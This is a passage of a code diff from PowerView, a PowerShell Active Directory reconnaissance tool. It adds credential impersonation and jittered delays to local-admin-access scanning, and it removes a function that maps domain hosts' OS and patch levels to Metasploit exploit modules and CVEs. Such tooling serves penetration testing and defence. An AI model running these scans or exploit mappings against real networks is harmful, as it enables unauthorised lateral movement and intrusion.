+ [Switch]
+ $Tombstone,
- Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay"
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
- # if we're using a host list, read the targets in and add them to the target list
- if($ComputerFile) {
- $ComputerName = Get-Content -Path $ComputerFile
- }
+ [ValidateRange(1, 10000)]
+ [Int]
+ $Delay = 0,
- if(!$ComputerName) {
- [array]$ComputerName = @()
+ [ValidateRange(0.0, 1.0)]
+ [Double]
+ $Jitter = .3,
- if($Domain) {
- $TargetDomains = @($Domain)
- }
- elseif($SearchForest) {
- # get ALL the domains in the forest to search
- $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
- }
- else {
- # use the local domain
- $TargetDomains = @( (Get-NetDomain).name )
- }
+ [Int]
+ [ValidateRange(1, 100)]
+ $Threads = 20
+ )
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for hosts"
- $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
- }
-
- # remove any null target hosts, uniquify the list and shuffle it
- $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
- if($($ComputerName.Count) -eq 0) {
- throw "No hosts found!"
- }
+ BEGIN {
+ $ComputerSearcherArguments = @{
+ 'Properties' = 'dnshostname'
+ }
+ if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
+ if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
+ if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
+ if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
+ if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
+ if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
+ if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
+ if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
+
+ if ($PSBoundParameters['ComputerName']) {
+ $TargetComputers = $ComputerName
+ }
+ else {
+ Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain'
+ $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
+ }
+ Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)"
+ if ($TargetComputers.Length -eq 0) {
+ throw '[Find-LocalAdminAccess] No hosts found to enumerate'
}
- # script block that enumerates a server
+ # the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
- param($ComputerName, $Ping)
+ Param($ComputerName, $TokenHandle)
- $Up = $True
- if($Ping) {
- $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
+ if ($TokenHandle) {
+ # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
+ $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
- if($Up) {
- # check if the current user has local admin access to this server
- $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName
- if ($Access.IsAdmin) {
- $ComputerName
+
+ ForEach ($TargetComputer in $ComputerName) {
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
+ if ($Up) {
+ # check if the current user has local admin access to this server
+ $Access = Test-AdminAccess -ComputerName $TargetComputer
+ if ($Access.IsAdmin) {
+ $TargetComputer
+ }
}
}
- }
-
- }
-
- process {
- if($Threads) {
- Write-Verbose "Using threading with threads = $Threads"
-
- # if we're using threading, kick off the script block with Invoke-ThreadedFunction
- $ScriptParams = @{
- 'Ping' = $(-not $NoPing)
+ if ($TokenHandle) {
+ Invoke-RevertToSelf
}
-
- # kick off the threaded script block + arguments
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
- else {
- if(-not $NoPing -and ($ComputerName.count -ne 1)) {
- # ping all hosts in parallel
- $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
- $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
+ $LogonToken = $Null
+ if ($PSBoundParameters['Credential']) {
+ if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
}
+ else {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
+ }
+ }
+ }
- Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
- $Counter = 0
+ PROCESS {
+ # only ignore threading if -Delay is passed
+ if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
- ForEach ($Computer in $ComputerName) {
+ Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)"
+ Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter"
+ $Counter = 0
+ $RandNo = New-Object System.Random
+ ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
- Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
- Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False
+ Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken
+ }
+ }
+ else {
+ Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads"
+
+ # if we're using threading, kick off the script block with New-ThreadedFunction
+ $ScriptParams = @{
+ 'TokenHandle' = $LogonToken
}
+
+ # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
+ New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
-function Get-ExploitableSystem {
+function Find-DomainLocalGroupMember {
<#
- .Synopsis
-
- This module will query Active Directory for the hostname, OS version, and service pack level
- for each computer account. That information is then cross-referenced against a list of common
- Metasploit exploits that can be used during penetration testing.
-
- .DESCRIPTION
-
- This module will query Active Directory for the hostname, OS version, and service pack level
- for each computer account. That information is then cross-referenced against a list of common
- Metasploit exploits that can be used during penetration testing. The script filters out disabled
- domain computers and provides the computer's last logon time to help determine if it's been
- decommissioned. Also, since the script uses data tables to output affected systems the results
- can be easily piped to other commands such as test-connection or a Export-Csv.
-
- .PARAMETER ComputerName
-
- Return computers with a specific name, wildcards accepted.
-
- .PARAMETER SPN
-
- Return computers with a specific service principal name, wildcards accepted.
-
- .PARAMETER OperatingSystem
-
- Return computers with a specific operating system, wildcards accepted.
-
- .PARAMETER ServicePack
-
- Return computers with a specific service pack, wildcards accepted.
-
- .PARAMETER Filter
-
- A customized ldap filter string to use, e.g. "(description=*admin*)"
-
- .PARAMETER Ping
-
- Switch. Ping each host to ensure it's up before enumerating.
-
- .PARAMETER Domain
-
- The domain to query for computers, defaults to the current domain.
-
- .PARAMETER DomainController
-
- Domain controller to reflect LDAP queries through.
+.SYNOPSIS
- .PARAMETER ADSpath
+Enumerates the members of specified local group (default administrators)
+for all the targeted machines on the current (or specified) domain.
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction
- .PARAMETER Unconstrained
+.DESCRIPTION
- Switch. Return computer objects that have unconstrained delegation.
+This function enumerates all machines on the current (or specified) domain
+using Get-DomainComputer, and enumerates the members of the specified local
+group (default of Administrators) for each machine using Get-NetLocalGroupMember.
+By default, the API method is used, but this can be modified with '-Method winnt'
+to use the WinNT service provider.
- .PARAMETER PageSize
+.PARAMETER ComputerName
- The PageSize to set for the LDAP searcher object.
+Specifies an array of one or more hosts to enumerate, passable on the pipeline.
+If -ComputerName is not passed, the default behavior is to enumerate all machines
+in the domain returned by Get-DomainComputer.
- .PARAMETER Credential
+.PARAMETER ComputerDomain
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+Specifies the domain to query for computers, defaults to the current domain.
- .EXAMPLE
-
- The example below shows the standard command usage. Disabled system are excluded by default, but
- the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't
- logged on for two or more weeks it's been decommissioned.
- PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize
- [*] Grabbing computer accounts from Active Directory...
- [*] Loading exploit list for critical missing patches...
- [*] Checking computers for vulnerable OS and SP levels...
- [+] Found 5 potentially vulnerable systems!
- ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE
- ------------ --------------- ----------- --------- --------- ---
- ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
- ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
- ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
- LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
- LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
- LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
- assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
- assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
- HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
- HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
- HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
- DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
- DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
- DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
+.PARAMETER ComputerLDAPFilter
- .EXAMPLE
+Specifies an LDAP query string that is used to search for computer objects.
- PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation
+.PARAMETER ComputerSearchBase
- How to write the output to a csv file.
-
- .EXAMPLE
-
- PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping
-
- Return a set of live hosts from the testlab.local domain
-
- .LINK
-
- http://www.netspi.com
- https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1
-
- .NOTES
-
- Author: Scott Sutherland - 2015, NetSPI
- Modifications to integrate into PowerView by @harmj0y
- Version: Get-ExploitableSystem.psm1 v1.1
- Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount"
- function found in Carols Perez's PoshSec-Mod project. The general idea is based off of
- Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit.
-#>
- [CmdletBinding()]
- Param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [String]
- $ComputerName = '*',
-
- [String]
- $SPN,
-
- [String]
- $OperatingSystem = '*',
-
- [String]
- $ServicePack = '*',
-
- [String]
- $Filter,
-
- [Switch]
- $Ping,
-
- [String]
- $Domain,
-
- [String]
- $DomainController,
-
- [String]
- $ADSpath,
-
- [Switch]
- $Unconstrained,
-
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200,
-
- [Management.Automation.PSCredential]
- $Credential
- )
-
- Write-Verbose "[*] Grabbing computer accounts from Active Directory..."
-
- # Create data table for hostnames, os, and service packs from LDAP
- $TableAdsComputers = New-Object System.Data.DataTable
- $Null = $TableAdsComputers.Columns.Add('Hostname')
- $Null = $TableAdsComputers.Columns.Add('OperatingSystem')
- $Null = $TableAdsComputers.Columns.Add('ServicePack')
- $Null = $TableAdsComputers.Columns.Add('LastLogon')
-
- Get-NetComputer -FullData @PSBoundParameters | ForEach-Object {
-
- $CurrentHost = $_.dnshostname
- $CurrentOs = $_.operatingsystem
- $CurrentSp = $_.operatingsystemservicepack
- $CurrentLast = $_.lastlogon
- $CurrentUac = $_.useraccountcontrol
-
- $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2)
-
- # Check the 2nd to last value to determine if its disabled
- $DisableOffset = $CurrentUacBin.Length - 2
- $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)
-
- # Add computer to list if it's enabled
- if ($CurrentDisabled -eq 0) {
- # Add domain computer to data table
- $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast)
- }
- }
-
- # Status user
- Write-Verbose "[*] Loading exploit list for critical missing patches..."
-
- # ----------------------------------------------------------------
- # Setup data table for list of msf exploits
- # ----------------------------------------------------------------
-
- # Create data table for list of patches levels with a MSF exploit
- $TableExploits = New-Object System.Data.DataTable
- $Null = $TableExploits.Columns.Add('OperatingSystem')
- $Null = $TableExploits.Columns.Add('ServicePack')
- $Null = $TableExploits.Columns.Add('MsfModule')
- $Null = $TableExploits.Columns.Add('CVE')
-
- # Add exploits to data table
- $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983")
- $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
- $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
- $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
- $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
- $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
- $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
- $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
- $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
- $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
- $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
- $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
- $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
- $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
- $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
- $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
- $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
- $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
- $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
- $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
- $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
- $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
- $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
- $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
- $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
- $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
- $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
- $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
- $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
- $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
- $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
- $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983")
- $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
- $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
- $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
- $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
- $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691")
- $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
- $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
- $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
- $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
- $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
- $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
- $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
- $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
-
- # Status user
- Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..."
-
- # ----------------------------------------------------------------
- # Setup data table to store vulnerable systems
- # ----------------------------------------------------------------
-
- # Create data table to house vulnerable server list
- $TableVulnComputers = New-Object System.Data.DataTable
- $Null = $TableVulnComputers.Columns.Add('ComputerName')
- $Null = $TableVulnComputers.Columns.Add('OperatingSystem')
- $Null = $TableVulnComputers.Columns.Add('ServicePack')
- $Null = $TableVulnComputers.Columns.Add('LastLogon')
- $Null = $TableVulnComputers.Columns.Add('MsfModule')
- $Null = $TableVulnComputers.Columns.Add('CVE')
-
- # Iterate through each exploit
- $TableExploits | ForEach-Object {
-
- $ExploitOS = $_.OperatingSystem
- $ExploitSP = $_.ServicePack
- $ExploitMsf = $_.MsfModule
- $ExploitCVE = $_.CVE
-
- # Iterate through each ADS computer
- $TableAdsComputers | ForEach-Object {
-
- $AdsHostname = $_.Hostname
- $AdsOS = $_.OperatingSystem
- $AdsSP = $_.ServicePack
- $AdsLast = $_.LastLogon
-
- # Add exploitable systems to vul computers data table
- if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) {
- # Add domain computer to data table
- $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE)
- }
- }
- }
-
- # Display results
- $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object
- $VulnComputerCount = $VulnComputer.Count
-
- if ($VulnComputer.Count -gt 0) {
- # Return vulnerable server list order with some hack date casting
- Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!"
- $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending
- }
- else {
- Write-Verbose "[-] No vulnerable systems were found."
- }
-}
+Specifies the LDAP source to search through for computers,
+e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
+.PARAMETER ComputerOperatingSystem
-function Invoke-EnumerateLocalAdmin {
-<#
- .SYNOPSIS
+Search computers with a specific operating system, wildcards accepted.
- This function queries the domain for all active machines with
- Get-NetComputer, then for each server it queries the local
- Administrators with Get-NetLocalGroup.
+.PARAMETER ComputerServicePack
- Author: @harmj0y
- License: BSD 3-Clause
+Search computers with a specific service pack, wildcards accepted.
- .PARAMETER ComputerName
+.PARAMETER ComputerSiteName
- Host array to enumerate, passable on the pipeline.
+Search computers in the specific AD Site name, wildcards accepted.
- .PARAMETER ComputerFile
+.PARAMETER GroupName
- File of hostnames/IPs to search.
+The local group name to query for users. If not given, it defaults to "Administrators".
- .PARAMETER ComputerFilter
+.PARAMETER Method
- Host filter name to query AD for, wildcards accepted.
+The collection method to use, defaults to 'API', also accepts 'WinNT'.
- .PARAMETER ComputerADSpath
+.PARAMETER Server
- The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+Specifies an Active Directory server (domain controller) to bind to.
- .PARAMETER NoPing
+.PARAMETER SearchScope
- Switch. Don't ping each host to ensure it's up before enumerating.
+Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
- .PARAMETER Delay
+.PARAMETER ResultPageSize
- Delay between enumerating hosts, defaults to 0
+Specifies the PageSize to set for the LDAP searcher object.
- .PARAMETER Jitter
+.PARAMETER ServerTimeLimit
- Jitter for the host delay, defaults to +/- 0.3
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- .PARAMETER OutFile
+.PARAMETER Tombstone
- Output results to a specified csv output file.
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- .PARAMETER NoClobber
+.PARAMETER Credential
- Switch. Don't overwrite any existing output file.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain and target systems.
- .PARAMETER TrustGroups
+.PARAMETER Delay
- Switch. Only return results that are not part of the local machine
- or the machine's domain. Old Invoke-EnumerateLocalTrustGroup
- functionality.
